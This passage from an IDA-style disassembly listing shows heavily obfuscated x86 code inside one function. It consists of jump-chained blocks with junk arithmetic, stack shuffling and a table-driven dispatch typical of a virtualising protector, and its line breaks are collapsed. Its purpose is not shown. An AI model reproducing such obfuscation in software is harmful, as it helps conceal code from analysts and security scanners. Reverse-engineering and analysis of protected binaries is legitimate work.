5EF8332Eh jmp loc_59F94A ; --------------------------------------------------------------------------- loc_5A0103: ; CODE XREF: sub_57DD3A+1C9BFj add ebp, 4 add ebp, 4 jmp loc_593BFA ; --------------------------------------------------------------------------- loc_5A0114: ; CODE XREF: sub_57DD3A+1A645j push ebx push 7FA30EDBh pop ebx add ebx, 593A60E8h push eax push edx push 0EC76C98h jmp $+5 pop edx jmp loc_59AEDF ; --------------------------------------------------------------------------- loc_5A0133: ; CODE XREF: sub_57DD3A+1589Fj pop ebx xor bl, al movzx eax, al push edx push esp jmp loc_59BF88 ; --------------------------------------------------------------------------- loc_5A0140: ; CODE XREF: sub_57DD3A+1B10Bj add edi, ebx pop ebx jmp loc_59B59E ; --------------------------------------------------------------------------- mov cx, word ptr [esp+36h+var_36] push ebx mov ebx, esp jmp loc_5A0050 ; --------------------------------------------------------------------------- loc_5A0154: ; CODE XREF: sub_57DD3A+25072j mov ebx, 45CE0EA9h add eax, ebx pop ebx push esi mov esi, 494C1BC9h add eax, esi pop esi pop ebp push ebx mov ebx, 32284F15h sub eax, 768B4936h add eax, ebx add eax, 768B4936h pop ebx sub eax, 294B1ED1h sub eax, ebx push ecx mov ecx, 416E287Fh and ecx, 9E87676h jmp loc_59D74C ; --------------------------------------------------------------------------- loc_5A0191: ; CODE XREF: sub_57DD3A+18F00j pop edi add ebp, 0B69311ACh push esi jmp loc_59B12E ; --------------------------------------------------------------------------- loc_5A019E: ; CODE XREF: sub_57DD3A+220B8j mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp+6Ch+var_6C] pop esp mov [esp+68h+var_68], ecx jmp loc_594BD4 ; --------------------------------------------------------------------------- loc_5A01B5: ; CODE XREF: sub_57DD3A+20EBEj pop esi add esi, 4 sub esi, 4 xchg esi, [esp+58h+var_58] pop esp mov [esp+54h+var_54], eax jmp loc_594CD4 ; --------------------------------------------------------------------------- loc_5A01CB: ; CODE XREF: sub_57DD3A+1B90Aj add esp, 4 xor ebp, eax jmp loc_59ECFE ; --------------------------------------------------------------------------- loc_5A01D8: ; CODE XREF: sub_57DD3A+1E820j mov ebx, [esp+5Ch+var_5C] add esp, 4 jmp loc_59D47C ; --------------------------------------------------------------------------- loc_5A01E6: ; CODE XREF: sub_57DD3A+127B3j add esp, 4 jmp loc_59186C ; --------------------------------------------------------------------------- loc_5A01EE: ; CODE XREF: sub_57DD3A+1C557j xor eax, esi jmp loc_59F4CA ; --------------------------------------------------------------------------- loc_5A01F5: ; CODE XREF: sub_57DD3A+20E3Fj mov bl, ah mov cl, bl jmp loc_5A0A89 ; --------------------------------------------------------------------------- loc_5A01FE: ; CODE XREF: sub_57DD3A+15771j sub esp, 4 mov [esp+42h+var_42], ebp mov ebp, 4 add eax, ebp mov ebp, [esp+42h+var_42] add esp, 4 jmp loc_5A3020 ; --------------------------------------------------------------------------- loc_5A0216: ; CODE XREF: sub_57DD3A+1E016j mov esp, [esp+64h+var_64] shr ecx, 7 jmp loc_59EEB5 ; --------------------------------------------------------------------------- loc_5A0221: ; CODE XREF: sub_57DD3A+24ECCj and ebx, edx pop edx push ebx not [esp+64h+var_64] jmp loc_5A2E98 ; --------------------------------------------------------------------------- loc_5A022D: ; CODE XREF: sub_57DD3A+10DC3j add esp, 4 jmp loc_592C71 ; --------------------------------------------------------------------------- loc_5A0235: ; CODE XREF: sub_57DD3A+16088j mov esi, [esp+0] add esp, 4 pop edi xor ebx, eax push small word ptr [eax] jmp loc_58E5B3 ; --------------------------------------------------------------------------- loc_5A0246: ; DATA XREF: sub_57DD3A+103E6o pop dword ptr fs:[edx] jmp loc_58E353 ; --------------------------------------------------------------------------- push [esp-0Ah+arg_6] jmp loc_594DD7 ; --------------------------------------------------------------------------- loc_5A0256: ; CODE XREF: sub_57DD3A+1830Ej mov [esp+5Ah+var_5C+2], ebp push 6593h mov [esp+5Eh+var_60+2], esp add [esp+5Eh+var_60+2], 4 jmp loc_5A2902 ; --------------------------------------------------------------------------- loc_5A026D: ; CODE XREF: sub_57DD3A+15196j xchg eax, [esp+4Ah+var_4C+2] pop esp jmp loc_593092 ; --------------------------------------------------------------------------- loc_5A0276: ; CODE XREF: sub_57DD3A+17D3Bj mov [esp+3Eh+var_3E], edi mov edi, 4 sub edx, 223744EFh add edx, edi push esi sub esp, 4 jmp loc_5924CC ; --------------------------------------------------------------------------- loc_5A0292: ; CODE XREF: sub_57DD3A+15524j add esp, 4 push ebp jmp loc_59005F ; --------------------------------------------------------------------------- loc_5A029E: ; CODE XREF: sub_57DD3A+1C823j add eax, 4 xchg eax, [esp+6Ch+var_6C] pop esp xor ebx, 70F04342h mov edi, [esp+68h+var_68] push 56E4h jmp loc_595875 ; --------------------------------------------------------------------------- loc_5A02BA: ; CODE XREF: sub_57DD3A+1330Bj pop ecx mov edi, [esp+18h+var_1A+2] add esp, 4 add esi, 67FA5B2Dh add esi, ebx jmp loc_590A1B ; --------------------------------------------------------------------------- loc_5A02CE: ; CODE XREF: sub_57DD3A+11EEEj pop ebx push ecx mov ch, 48h sub byte ptr [esp+1Ch+var_1A+2], ch pop ecx sub byte ptr [esp+18h+var_1A+2], 28h add byte ptr [esp+18h+var_1A+2], 10h mov ah, byte ptr [esp+18h+var_1A+2] add esp, 4 inc ah dec ah xor ah, 0A5h jmp loc_58FBCF ; --------------------------------------------------------------------------- loc_5A02F1: ; CODE XREF: sub_57DD3A+2103Dj pop edi jmp loc_59C177 ; --------------------------------------------------------------------------- loc_5A02F7: ; CODE XREF: sub_57DD3A+25557j or ecx, eax pop eax push ebx mov ebx, 0E6EC4E49h sub ecx, ebx jmp loc_59AB0C ; --------------------------------------------------------------------------- loc_5A0307: ; CODE XREF: sub_57DD3A+1E262j sub ecx, 1572774Eh sub ecx, 0FFFFFFFFh add ecx, 0EEE982A5h mov ebx, ecx pop ecx sub ebx, 34C02D27h add esi, 46582770h add esi, 4E3B399Ah add esi, ebx sub esi, 4E3B399Ah sub esi, 46582770h pop ebx add esi, 4 xchg esi, [esp+0] mov esp, [esp+0] add ebx, 4 push 2808h mov [esp+2+var_4+2], esi mov esi, 40831112h xor esi, ebx xor ebx, esi xor esi, ebx neg ebx push 56E0h mov [esp+6+var_8+2], esi push ebx jmp loc_5973FC ; --------------------------------------------------------------------------- loc_5A036F: ; CODE XREF: sub_57DD3A+1D42Aj xor [esp+2Ah+var_26], edx push [esp+2Ah+var_2A] pop edx add esp, 4 push [esp+26h+var_26] pop eax sub esp, 4 mov [esp+2Ah+var_2A], esi sub esp, 4 push esp pop [esp+32h+var_32] add [esp+2Eh+var_2E], 4 jmp loc_5A0A60 ; --------------------------------------------------------------------------- loc_5A03A0: ; CODE XREF: sub_57DD3A+2135Dj pop edx jmp loc_59A7F8 ; --------------------------------------------------------------------------- loc_5A03A6: ; CODE XREF: sub_57DD3A+1C371j xor ebp, [esp+28h+var_2A+2] xor [esp+28h+var_2A+2], ebp xor ebp, [esp+28h+var_2A+2] pop esp or eax, eax jz loc_5A2EC9 push dword ptr [edi+1Ch] push edx mov edx, 67A35D82h jmp loc_595734 ; --------------------------------------------------------------------------- loc_5A03C6: ; CODE XREF: sub_57DD3A+13DC3j push esp pop ebx add ebx, 4 jmp loc_5944EA ; --------------------------------------------------------------------------- loc_5A03D3: ; CODE XREF: sub_57DD3A+1C256j add esp, 4 add esi, 1AD3664h add esi, ebx jmp loc_593716 ; --------------------------------------------------------------------------- loc_5A03E3: ; CODE XREF: sub_57DD3A+11BD6j push ebx mov ebx, 38671BFFh jmp loc_59AC59 ; --------------------------------------------------------------------------- loc_5A03EE: ; CODE XREF: sub_57DD3A+1EFFFj sub bl, 18h add bl, cl add bl, 18h push cx jmp loc_59479D ; --------------------------------------------------------------------------- loc_5A03FD: ; CODE XREF: sub_57DD3A+16571j or eax, 31854DD6h push ebp mov ebp, 300C47D9h or ebp, 1FFA0F25h shr ebp, 1 push edi mov edi, 2037792Bh jmp loc_599600 ; --------------------------------------------------------------------------- loc_5A041B: ; CODE XREF: sub_57DD3A+1F5B9j mov eax, [esp+16h+var_16] add esp, 4 jmp loc_59B558 ; --------------------------------------------------------------------------- loc_5A0429: ; CODE XREF: sub_57DD3A+1ECBCj pop ebx xor dl, ch pop ecx dec dl not dl push eax mov al, 6Eh sub dl, al pop eax xor cl, dl pop edx jmp loc_598012 ; --------------------------------------------------------------------------- loc_5A043F: ; CODE XREF: sub_57DD3A+12CC3j mov dh, 0E3h add bh, dh pop dx sub al, bh push [esp+0Ch+var_E+2] pop ebx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+10h+var_12+2] pop esp pop cx xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- loc_5A046A: ; DATA XREF: sub_57DD3A+10336o lodsd jmp loc_59F188 ; --------------------------------------------------------------------------- loc_5A0470: ; CODE XREF: sub_57DD3A+1EA94j push esi mov esi, 1C34046Ch add edi, esi pop esi add edi, ebp sub edi, 1C34046Ch jmp loc_593710 ; --------------------------------------------------------------------------- loc_5A0486: ; CODE XREF: sub_57DD3A+1FF62j add ebp, edx mov edx, [esp+46h+var_46] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+4Ah+var_4C+2] jmp loc_5A2561 ; --------------------------------------------------------------------------- loc_5A04A2: ; CODE XREF: sub_57DD3A+1485Fj add eax, 58B03C06h add eax, edx sub eax, 58B03C06h pop edx add eax, 4 push eax push [esp+18h+var_16+2] jmp loc_5987A6 ; --------------------------------------------------------------------------- loc_5A04BE: ; CODE XREF: sub_57DD3A+23F8Bj mov edx, [esp+1Ch+var_1E+2] push edx mov edx, esp add edx, 4 jmp loc_58FE4D ; --------------------------------------------------------------------------- loc_5A04CF: ; CODE XREF: sub_57DD3A+11F5Bj sub esi, 4 xchg esi, [esp+14h+var_16+2] pop esp jmp loc_596EF8 ; --------------------------------------------------------------------------- loc_5A04DB: ; CODE XREF: sub_57DD3A+1D017j movzx cx, ah push small 609Bh mov word ptr [esp+34h+var_36+2], cx movzx cx, al push cx pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A04F3: ; CODE XREF: sub_57DD3A+24C17j mov edi, 5B0A00CDh add edi, 0BA5A3305h sub ecx, edi jmp loc_58F0A9 ; --------------------------------------------------------------------------- loc_5A0505: ; CODE XREF: sub_57DD3A+230EDj xchg edi, [esp+3Ah+var_3A] pop esp jmp loc_59B169 ; --------------------------------------------------------------------------- loc_5A050E: ; CODE XREF: sub_57DD3A+1BC42j push ecx mov ecx, esp jmp loc_597EE5 ; --------------------------------------------------------------------------- loc_5A0516: ; CODE XREF: sub_57DD3A+1B748j add esi, 482A6351h sub esi, ebp sub esi, 482A6351h jmp loc_5945BC ; --------------------------------------------------------------------------- loc_5A0529: ; CODE XREF: sub_57DD3A+113B6j mov ch, dl mov al, ch jmp loc_59B0FF ; --------------------------------------------------------------------------- loc_5A0532: ; CODE XREF: sub_57DD3A+1F1D3j mov edx, [esp+14h+var_16+2] add esp, 4 add esp, 4 jmp loc_599F5D ; --------------------------------------------------------------------------- loc_5A0540: ; CODE XREF: sub_57DD3A+1A521j pop cx push edx mov dl, 45h and dl, 6Ch push ecx mov cl, 99h xor dl, cl pop ecx push ecx mov cl, 10h push small 72CFh mov word ptr [esp+1Eh+var_1E], ax mov ah, cl not ah mov cl, ah pop ax jmp loc_597AE9 ; --------------------------------------------------------------------------- loc_5A0566: ; CODE XREF: sub_57DD3A+1DCC9j add esp, 4 add esp, 4 push ecx mov ecx, 423F0E50h inc ecx jmp loc_594BB0 ; --------------------------------------------------------------------------- loc_5A057B: ; CODE XREF: sub_57DD3A+1725Fj mov [esp+0], edx mov edx, 5A030052h xor eax, edx mov edx, [esp+0] jmp loc_59F193 ; --------------------------------------------------------------------------- loc_5A058D: ; CODE XREF: sub_57DD3A+217F3j pop ecx neg ecx and ecx, 257A2E21h and ecx, 705467E3h add ecx, 386E0AB2h jmp loc_58F140 ; --------------------------------------------------------------------------- loc_5A05A7: ; CODE XREF: sub_57DD3A+17F88j xor ebx, 49D8A1FBh jmp loc_58E88A ; --------------------------------------------------------------------------- loc_5A05B2: ; CODE XREF: sub_57DD3A+22169j sub eax, 523F2131h jmp loc_598EE8 ; --------------------------------------------------------------------------- loc_5A05BC: ; CODE XREF: sub_57DD3A+18E89j add esp, 4 jmp loc_597312 ; --------------------------------------------------------------------------- loc_5A05C4: ; CODE XREF: sub_57DD3A+15BC3j add edi, 4 push ecx mov ecx, 3437319Bh or ecx, 417466CBh sub ecx, 266C719Ah xor ecx, 0E073DB6h shl ecx, 8 add ecx, 0F3C40904h jmp loc_5907C5 ; --------------------------------------------------------------------------- loc_5A05F0: ; CODE XREF: sub_57DD3A+18955j push ebp mov ebp, 362008F4h xor ebp, 51620E92h and ebp, 2101002Ch add ebp, 0A747822h sub edx, ebp pop ebp push eax mov eax, 0 add eax, edx xor [eax], ebx jmp loc_5A2EC7 ; --------------------------------------------------------------------------- loc_5A061A: ; CODE XREF: sub_57DD3A+1C487j add eax, ebx sub eax, 2D5329FDh mov ebx, [esp+0] add esp, 4 add eax, ebx sub esp, 4 mov [esp+0], esi push 57026279h pop esi sub eax, 79C10418h sub eax, esi sub esp, 4 jmp loc_596FBD ; --------------------------------------------------------------------------- loc_5A0647: ; CODE XREF: sub_57DD3A+203D8j and ch, 1Ah jmp loc_59B261 ; --------------------------------------------------------------------------- loc_5A064F: ; CODE XREF: sub_57DD3A+1FE85j push [esp+52h+var_50+2] mov eax, [esp+56h+var_58+2] jmp loc_59684F ; --------------------------------------------------------------------------- loc_5A065B: ; CODE XREF: sub_57DD3A+25225j push eax mov eax, 128B172Ch mov ebp, eax jmp loc_59B879 ; --------------------------------------------------------------------------- loc_5A0668: ; CODE XREF: sub_57DD3A+1E40Ej add esi, 0FEFF5FB6h add eax, esi pop esi add eax, edx jmp loc_598F91 ; --------------------------------------------------------------------------- loc_5A0678: ; CODE XREF: sub_57DD3A+1D9EEj xor [esp+60h+var_60], ebx xor ebx, [esp+60h+var_60] jmp loc_59ECBF ; --------------------------------------------------------------------------- loc_5A0683: ; CODE XREF: sub_57DD3A+18B4Fj pop ecx sub esp, 4 mov [esp+58h+var_58], ebx push [esp+58h+var_54] pop ebx pop [esp+58h+var_58] mov esp, [esp+54h+var_54] mov [esp+54h+var_54], eax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A06A0: ; CODE XREF: sub_57DD3A+23227j push 5090DCBCh push [esp+58h+var_58] pop ebp jmp loc_58EACD ; --------------------------------------------------------------------------- loc_5A06AE: ; CODE XREF: sub_57DD3A+1CDF3j xchg ecx, [esp+3Ch+var_3E+2] pop esp xor dh, 2Fh add al, dh pop edx push small 7D1h mov word ptr [esp+36h+var_36], dx push eax jmp loc_5996C6 ; --------------------------------------------------------------------------- loc_5A06C6: ; CODE XREF: sub_57DD3A+11E2Aj xor esi, [esp+32h+var_32] xor [esp+32h+var_32], esi jmp loc_59C431 ; --------------------------------------------------------------------------- loc_5A06D1: ; CODE XREF: sub_57DD3A+1344Dj mov [esp+64h+var_64], ebp push 5331h mov [esp+68h+var_68], eax push 226223E6h pop eax push eax inc [esp+6Ch+var_6C] jmp loc_58F363 ; --------------------------------------------------------------------------- loc_5A06EB: ; CODE XREF: sub_57DD3A+15CF4j push [esp+24h+var_26+2] pop edi jmp loc_590D27 ; --------------------------------------------------------------------------- loc_5A06F4: ; CODE XREF: sub_57DD3A+161A0j push esi mov esi, esp push eax mov eax, 64235F4Ah jmp loc_59FEC0 ; --------------------------------------------------------------------------- loc_5A0702: ; CODE XREF: sub_57DD3A+22B0Fj push [esp+58h+var_58] pop ecx jmp loc_59CECD ; --------------------------------------------------------------------------- loc_5A070B: ; CODE XREF: sub_57DD3A+13145j push ecx mov ecx, 0B503BCD8h push ecx jmp loc_5924D9 ; --------------------------------------------------------------------------- loc_5A0717: ; CODE XREF: sub_57DD3A+17A7Ej sub esp, 4 mov [esp+66h+var_68+2], ebp mov ebp, 16E24A0h xor ebp, 61A956EDh push ecx push ebp mov ebp, 34837F4Bh jmp loc_5919D8 ; --------------------------------------------------------------------------- loc_5A0734: ; CODE XREF: sub_57DD3A+19250j mov edx, esp jmp loc_5A1655 ; --------------------------------------------------------------------------- loc_5A073B: ; CODE XREF: sub_57DD3A+22DE4j push eax mov ah, 0E7h xor ah, 2Ch jmp loc_5A10D6 ; --------------------------------------------------------------------------- loc_5A0746: ; CODE XREF: sub_57DD3A+157A2j mov esp, [esp+4+var_4] mov [esp+4+var_4], ebx push [esp+4+var_4] mov eax, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], edx jmp loc_58F825 ; --------------------------------------------------------------------------- loc_5A0766: ; CODE XREF: sub_57DD3A+1FCCDj push eax mov eax, 5C205D94h not eax sub eax, 64D42237h dec eax add eax, 0EBF2A81Ah xor ebx, eax pop eax jmp loc_59EA8E ; --------------------------------------------------------------------------- loc_5A0781: ; CODE XREF: sub_57DD3A+23CAEj xor ecx, [esp+6Ch+var_6C] xor [esp+6Ch+var_6C], ecx xor ecx, [esp+6Ch+var_6C] pop esp mov eax, [esp+68h+var_68] jmp loc_592941 ; --------------------------------------------------------------------------- loc_5A0793: ; CODE XREF: sub_57DD3A+18552j pop esp jmp loc_597344 ; --------------------------------------------------------------------------- loc_5A0799: ; CODE XREF: sub_57DD3A+22B9Cj pop esi sub ebx, edx add ebx, 5E6D31A5h sub ebx, 75492DDEh pop edx add ebx, 40E73D33h jmp loc_59A9A7 ; --------------------------------------------------------------------------- loc_5A07B4: ; CODE XREF: sub_57DD3A+1E2B7j push edx mov edx, esp add edx, 4 jmp loc_599F95 ; --------------------------------------------------------------------------- loc_5A07C2: ; CODE XREF: sub_57DD3A+18517j xor esi, edi xor edi, esi xor esi, edi xor [esp+4Ch+var_4C], esi jmp loc_5A0A42 ; --------------------------------------------------------------------------- loc_5A07D0: ; CODE XREF: sub_57DD3A+23976j not [esp+4Ch+var_4C] pop esi jmp loc_59624D ; --------------------------------------------------------------------------- loc_5A07D9: ; CODE XREF: sub_57DD3A+17544j sub edx, 0ADC72F9h pop ebx xor edx, [esp+58h+var_58] jmp loc_5A1C19 ; --------------------------------------------------------------------------- loc_5A07E8: ; CODE XREF: sub_57DD3A+15E2Bj mov esi, 33226BBBh push edx jmp loc_592C25 ; --------------------------------------------------------------------------- loc_5A07F3: ; CODE XREF: sub_57DD3A+1362Aj sub cl, 2Fh sub cl, dl add cl, 2Fh mov edx, [esp+3Ah+var_3A] add esp, 4 push eax mov al, cl jmp loc_597D8F ; --------------------------------------------------------------------------- loc_5A080C: ; CODE XREF: sub_57DD3A+183DAj neg dh push eax mov al, 56h sub dh, al jmp loc_591CF0 ; --------------------------------------------------------------------------- loc_5A0818: ; CODE XREF: sub_57DD3A+19841j sub edi, 0FA8DD091h jmp loc_5938C5 ; --------------------------------------------------------------------------- loc_5A0823: ; CODE XREF: sub_57DD3A+117F3j mov al, 2Fh dec al jmp loc_5A3005 ; --------------------------------------------------------------------------- loc_5A082C: ; CODE XREF: sub_57DD3A+15465j push edi mov edi, esp push esi mov esi, 28752A5Dh jmp loc_59ECDB ; --------------------------------------------------------------------------- loc_5A083A: ; CODE XREF: sub_57DD3A+1FC01j mov [esp+4Ah+var_4C+2], ebx mov bl, 68h mov al, 0E6h xor al, bl pop ebx push ecx mov cl, al mov dh, cl jmp loc_5A0702 ; --------------------------------------------------------------------------- loc_5A084E: ; CODE XREF: sub_57DD3A+23384j neg edi xor edi, 0FFA0226Dh xor edx, edi mov edi, [esp+4Ah+var_4C+2] add esp, 4 add eax, edx mov edx, [esp+46h+var_46] add esp, 4 add eax, 4 xor eax, [esp+42h+var_42] xor [esp+42h+var_42], eax jmp loc_598F6D ; --------------------------------------------------------------------------- loc_5A0877: ; CODE XREF: sub_57DD3A+20127j add esp, 4 push ebx push esp pop ebx jmp loc_59859D ; --------------------------------------------------------------------------- loc_5A0885: ; CODE XREF: sub_57DD3A+201FEj add esp, 4 push edx mov edx, 4EF14360h add ebx, 75492DDEh push 765Ah mov [esp+0Ch+var_E+2], esi push edx mov edx, 74BB6E7Ah mov esi, 0D756DA2Dh sub esi, edx pop edx sub esi, 7DFD6A58h push ebp mov ebp, 13200350h add ebp, 49D77886h dec ebp not ebp dec ebp neg ebp add ebp, 0B067F2CFh xor esi, ebp pop ebp add esi, 74ABC1A8h sub ebx, esi jmp loc_5A0799 ; --------------------------------------------------------------------------- loc_5A08DB: ; CODE XREF: sub_57DD3A+11A2Fj push ax mov ah, 1Eh mov ch, ah jmp loc_59B689 ; --------------------------------------------------------------------------- loc_5A08E6: ; CODE XREF: sub_57DD3A+1857Bj not [esp+52h+var_54+2] pop edx jmp loc_59C419 ; --------------------------------------------------------------------------- loc_5A08EF: ; CODE XREF: sub_57DD3A+10ECDj and esi, ebp pop ebp shr esi, 5 sub esp, 4 mov [esp+16h+var_16], ebx mov ebx, 7C6D477Eh add ebx, 6911700Ch push edx mov edx, 23C07DAEh and ebx, edx pop edx add ebx, 3CE158C0h not ebx jmp loc_59233E ; --------------------------------------------------------------------------- loc_5A091C: ; CODE XREF: sub_57DD3A+173D7j sub byte ptr [esp+5Ch+var_5C], 10h add byte ptr [esp+5Ch+var_5C], 28h jmp loc_590365 ; --------------------------------------------------------------------------- loc_5A0929: ; CODE XREF: sub_57DD3A+1AE71j push eax jmp loc_5993FF ; --------------------------------------------------------------------------- loc_5A092F: ; CODE XREF: sub_57DD3A+1C541j add esp, 4 sub ebx, eax pop eax add esi, ebx pop ebx jmp loc_597FDF ; --------------------------------------------------------------------------- loc_5A093D: ; CODE XREF: sub_57DD3A+190BDj push ebx push ebp mov ebp, 1F1111A3h neg ebp not ebp shr ebp, 1 shr ebp, 5 jmp loc_598DF9 ; --------------------------------------------------------------------------- loc_5A0952: ; CODE XREF: sub_57DD3A+10625j add ebp, ebx mov ebx, [esp+14h+var_16+2] add esp, 4 push ebx mov ebx, 4 sub ebp, ebx jmp loc_59C162 ; --------------------------------------------------------------------------- loc_5A096A: ; CODE XREF: sub_57DD3A+197ECj and eax, ebx push [esp+7Ch+var_7C] mov ebx, [esp+80h+var_80] push ebp jmp loc_59179B ; --------------------------------------------------------------------------- loc_5A0978: ; CODE XREF: sub_57DD3A+17DF0j push eax jmp loc_598077 ; --------------------------------------------------------------------------- loc_5A097E: ; CODE XREF: sub_57DD3A+156EAj xchg esi, [esp+80h+var_80] jmp loc_590F1B ; --------------------------------------------------------------------------- loc_5A0986: ; CODE XREF: sub_57DD3A+1FFFEj add edi, ebx pop ebx pop ecx xor edi, 6E523271h add ebx, edi pop edi xor eax, ebx jmp loc_5A0C08 ; --------------------------------------------------------------------------- loc_5A099A: ; CODE XREF: sub_57DD3A+1482Aj mov [esp+1Ch+var_1E+2], ebp push esp pop ebp push esi mov esi, 4 add ebp, esi pop esi push eax mov eax, 4 sub ebp, eax jmp loc_59476D ; --------------------------------------------------------------------------- loc_5A09B5: ; CODE XREF: sub_57DD3A+15C34j add ebp, 4 xchg ebp, [esp+7Ch+var_7C] pop esp push 3E7h mov [esp+7Ch+var_7C], edi push esp pop edi add edi, 4 add edi, 4 push 69CCh mov [esp+80h+var_80], edi push [esp+80h+var_7C] mov edi, [esp+84h+var_84] jmp loc_59CAD5 ; --------------------------------------------------------------------------- loc_5A09E9: ; DATA XREF: sub_57DD3A+1038Ao lodsd jmp loc_5A18EB ; --------------------------------------------------------------------------- loc_5A09EF: ; CODE XREF: sub_57DD3A+17D70j pop ebp push edx mov edx, 4 add ebp, edx pop edx jmp loc_593779 ; --------------------------------------------------------------------------- loc_5A09FE: ; CODE XREF: sub_57DD3A+17E97j add esp, 4 jmp loc_59F666 ; --------------------------------------------------------------------------- loc_5A0A09: ; CODE XREF: sub_57DD3A+113D0j add ecx, ebx pop ebx push eax mov eax, 4 jmp loc_599611 ; --------------------------------------------------------------------------- loc_5A0A17: ; CODE XREF: sub_57DD3A+21FA3j push esi mov esi, 64883F4Ch xor esi, 1DC769B9h dec esi not esi add esi, 0CC707BBFh jmp loc_59CCCA ; --------------------------------------------------------------------------- loc_5A0A31: ; CODE XREF: sub_57DD3A+144E4j mov esi, 13087709h sub esi, 820644Ch push ebx jmp loc_58F98E ; --------------------------------------------------------------------------- loc_5A0A42: ; CODE XREF: sub_57DD3A+22A91j xor esi, [esp+4Ch+var_4C] xor [esp+4Ch+var_4C], esi jmp loc_595B24 ; --------------------------------------------------------------------------- loc_5A0A4D: ; CODE XREF: sub_57DD3A+1A0AFj sub eax, 4 xchg eax, [esp+20h+var_22+2] mov esp, [esp+20h+var_22+2] mov [esp+20h+var_22+2], eax jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0A60: ; CODE XREF: sub_57DD3A+22661j pop esi jmp loc_5A315A ; --------------------------------------------------------------------------- loc_5A0A66: ; CODE XREF: sub_57DD3A+13330j add esi, edx pop edx add esi, 2 sub esp, 4 mov [esp+18h+var_1A+2], esi push [esp+18h+var_16+2] jmp loc_592056 ; --------------------------------------------------------------------------- loc_5A0A81: ; CODE XREF: sub_57DD3A+1B4ECj add esi, 4 jmp loc_59E6B9 ; --------------------------------------------------------------------------- loc_5A0A89: ; CODE XREF: sub_57DD3A+224BFj pop ebx jmp loc_59D55F ; --------------------------------------------------------------------------- loc_5A0A8F: ; CODE XREF: sub_57DD3A+1E6DAj add edx, 4 jmp loc_5A1999 ; --------------------------------------------------------------------------- loc_5A0A9A: ; CODE XREF: sub_57DD3A+16485j mov edi, esi mov esi, [esp+56h+var_58+2] add esp, 4 sub esp, 4 mov [esp+56h+var_58+2], ecx mov ecx, 74B72054h sub edi, 48907F0Eh add edi, ecx jmp loc_59DD17 ; --------------------------------------------------------------------------- loc_5A0AC0: ; CODE XREF: sub_57DD3A+11F29j sub ebp, 1 push esi mov esi, 1 sub ebp, esi jmp loc_59618F ; --------------------------------------------------------------------------- loc_5A0AD3: ; CODE XREF: sub_57DD3A+11683j neg eax shr eax, 4 xor eax, 7C17AD9Ch jmp loc_5A2B89 ; --------------------------------------------------------------------------- loc_5A0AE2: ; CODE XREF: sub_57DD3A+1DE0Dj or dl, 61h add dl, 98h sub ah, dl pop edx dec ah shr ah, 4 jmp loc_5A11FE ; --------------------------------------------------------------------------- loc_5A0AF5: ; CODE XREF: sub_57DD3A+2306Dj mov si, 0FB64h add cx, si pop si sub ax, 186h sub ax, cx add ax, 186h push [esp+20h+var_22+2] jmp loc_592995 ; --------------------------------------------------------------------------- loc_5A0B11: ; CODE XREF: sub_57DD3A+1AD74j xor eax, ecx jmp loc_58FB22 ; --------------------------------------------------------------------------- lodsb push cx push ebx mov bh, 0F6h jmp loc_5A073B ; --------------------------------------------------------------------------- loc_5A0B23: ; CODE XREF: sub_57DD3A+19ECCj sub edi, 2276601Fh jmp loc_59D91B ; --------------------------------------------------------------------------- loc_5A0B2E: ; CODE XREF: sub_57DD3A+10C74j pop ecx add edx, 255C0736h add edx, 59BA77E3h pop esi push edx push dword ptr [esp+4] pop edx pop [esp+4+var_4] pop esp shr eax, 0Ah jmp loc_59E4D3 ; --------------------------------------------------------------------------- loc_5A0B4E: ; CODE XREF: sub_57DD3A+19162j push edx mov edx, 242A0CA9h mov edi, edx push [esp+1Ah+var_1A] pop edx add esp, 4 add edi, 0F53A3859h add ebx, edi jmp loc_5998F3 ; --------------------------------------------------------------------------- loc_5A0B6A: ; CODE XREF: sub_57DD3A+1DDEDj push 4E01h mov [esp+32h+var_32], ebp push esp pop ebp push ebx mov ebx, esp add ebx, 4 jmp loc_597C51 ; --------------------------------------------------------------------------- loc_5A0B82: ; CODE XREF: sub_57DD3A+14B3Cj sub esi, 2AD6566Ch add esi, edi push ebp mov ebp, 66DE7309h or ebp, 176B36E2h jmp loc_58E4E4 ; --------------------------------------------------------------------------- loc_5A0B9B: ; CODE XREF: sub_57DD3A+12550j mov [esp+36h+var_36], edx jmp loc_595E21 ; --------------------------------------------------------------------------- loc_5A0BA3: ; CODE XREF: sub_57DD3A+1096Cj pop eax add ecx, 0B9E603FFh jmp loc_5A1570 ; --------------------------------------------------------------------------- loc_5A0BAF: ; CODE XREF: sub_57DD3A+11DCAj mov [esp+20h+var_22+2], esp add [esp+20h+var_22+2], 4 pop ebx jmp loc_5A10A6 ; --------------------------------------------------------------------------- loc_5A0BBC: ; CODE XREF: sub_57DD3A+215C1j add edx, edi jmp loc_58EEA1 ; --------------------------------------------------------------------------- loc_5A0BC3: ; CODE XREF: sub_57DD3A+21FB6j push esi jmp loc_592779 ; --------------------------------------------------------------------------- loc_5A0BC9: ; CODE XREF: sub_57DD3A+162C1j add ebp, 4 xchg ebp, [esp+1Ch+var_1E+2] jmp loc_59F6A3 ; --------------------------------------------------------------------------- loc_5A0BD4: ; CODE XREF: sub_57DD3A+1AEA4j pop ebx jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5A0BDA: ; CODE XREF: sub_57DD3A+252B8j add edi, 4 jmp loc_5904DB ; --------------------------------------------------------------------------- loc_5A0BE5: ; CODE XREF: sub_57DD3A+1EB78j pop esp mov [esp+54h+var_54], ebx mov ebx, 4D83198Dh jmp loc_598AB3 ; --------------------------------------------------------------------------- loc_5A0BF3: ; CODE XREF: sub_57DD3A+1F91Fj mov ebp, esp jmp loc_59B9D1 ; --------------------------------------------------------------------------- loc_5A0BFA: ; CODE XREF: sub_57DD3A+2399Cj shl eax, 5 shl eax, 1 dec eax shl eax, 3 jmp loc_596869 ; --------------------------------------------------------------------------- loc_5A0C08: ; CODE XREF: sub_57DD3A+22C5Bj mov ebx, [esp+3Eh+var_3E] add esp, 4 push 451Bh mov [esp+3Eh+var_3E], esi push edx jmp loc_59CA08 ; --------------------------------------------------------------------------- 